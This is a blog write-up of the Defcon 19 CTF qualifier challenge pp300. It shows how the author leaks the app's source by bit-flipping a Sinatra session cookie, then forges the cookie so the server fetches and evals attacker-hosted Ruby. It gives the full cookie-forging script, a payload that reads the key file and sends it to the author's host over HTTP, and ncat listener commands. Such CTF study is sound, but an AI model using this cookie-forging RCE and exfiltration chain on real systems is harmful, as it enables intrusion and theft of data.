Monday, June 6, 2011

Defcon 19 CTF qualifiers: pp300

This is the solution for pp300 (http://pwn508.ddtek.biz:52719/).

The first try is looking against the Javascript counter. Nothing interesting, apart that if the current time meets the wanted date, the following message is printed.
Fiannly!
This is a dead end, but the wrong spelling of the word (Fiannly instead of Finnaly) can make people waste time in the wrong direction.

However, it can be observed that the cookie sent by the server (rack.session) is a heavy one, and at first glance seems that it's base64 encoded. However, decoding that value is translated to non-cleartext data, so no luck.

Now, instead of looking on internet more information about ('rack.session') or about the "sinatra" server, we do the same than in video-games: shoot first, ask questions later :). So, launch Burp, send to Intruder the request and do a "bit flipper" attack against the cookie. We cross the fingers and hope to be lucky like the last time.

After waiting some time, we obtained 5 invalid requests with a considerable size. That responses contains a stack trace of the application that discloses some source code. If we put all the lines together we'll obtain the following file.

set :bind, "127.0.0.1"
set :static, "true"
set :public, $wdir
puts "i am assrck"
url = "http://127.0.0.1:#{$options[:oport]}/"
get '/' do
  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
    puts "found session"
    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp
    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
    puts "attempting fetch from #{nurl}"
    $stdout.flush
    response = HTTPClient::get_content(nurl).chomp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))
    puts "got mcode: #{mcode}"
    $stdout.flush
    
    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
    bp = eval(mcode)
    else
      puts "did not find session"
      session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
      session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
      session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
      session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
      b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
      b.call
      end
  end

Basically we are interested on the eval function that execute code from one URL that we can control, as this information is taken from the cookie.
nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
response = HTTPClient::get_content(nurl).chomp 
mcode = Zlib::Inflate.inflate(Base64.decode64(response)) bp = eval(mcode)
So, we need to modify the cookie that is sent to the browser, in order to execute the code that we wanted :). In the end, the most easy way was downloading sinatra, to avoid playing with  the weird Base64 implementation of Ruby (RFC 2045 by default, instead of the most common RFC 4648).

The following code will generate a cookie that will make the application to connect to our server.
#web_v0_3.rb
require 'sinatra'
require 'Zlib'
require 'Base64'
enable :sessions
set :port, 31337

  get '/' do
    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump("http://w.x.y.z:31337/"),9))
    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
    print "\nCookie: #{session}\n"    
  end


So, we just need to repeat any valid Http request using the cookie previously generated, and the application will connect to a listener that we put on our server. We just need to send an adequate payload...

#reverseShell.txt
command = `cat key`
data = Base64.encode64(command)
data = data.gsub!(/[\n]+/, "");
nurl = "http://w.x.y.z:31338/?" + data  
HTTPClient::get_content(nurl).chomp

However, on the line 10 of the server, we can observe that the server is expecting a payload compressed with Zlib and then converted to Base64
nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))

So we'll create our payload with the following code.
#genPayload.txt
#genPayload.rb
require 'Base64'
require 'Zlib'
file = File.new("reverseShell.txt", "r")
contents = ""
file.each {|line|
  contents << line
}
puts Base64.encode64(Zlib::Deflate.deflate(contents))
And then we'll solve our challenge: :)
$ ruby genPayload.rb > r5.txt
$ ncat -kl w.x.y.z 31337 -c "cat r5.txt"&
$ ncat -klv w.x.y.z 31338
Ncat: Version 5.35DC18 ( http://nmap.org/ncat )
Ncat: Listening on w.x.y.z:31338
Ncat: Connection from 94.194.214.47:26254.
GET /?SVNCTi0xMzogOTc4LTE5MzE5OTM0OTQK HTTP/1.1
Host: w.x.y.z:31338
echo -n "SVNCTi0xMzogOTc4LTE5MzE5OTM0OTQK" | base64 -d
ISBN-13: 978-1931993494
Note: I've added all the code here.

No comments:

Post a Comment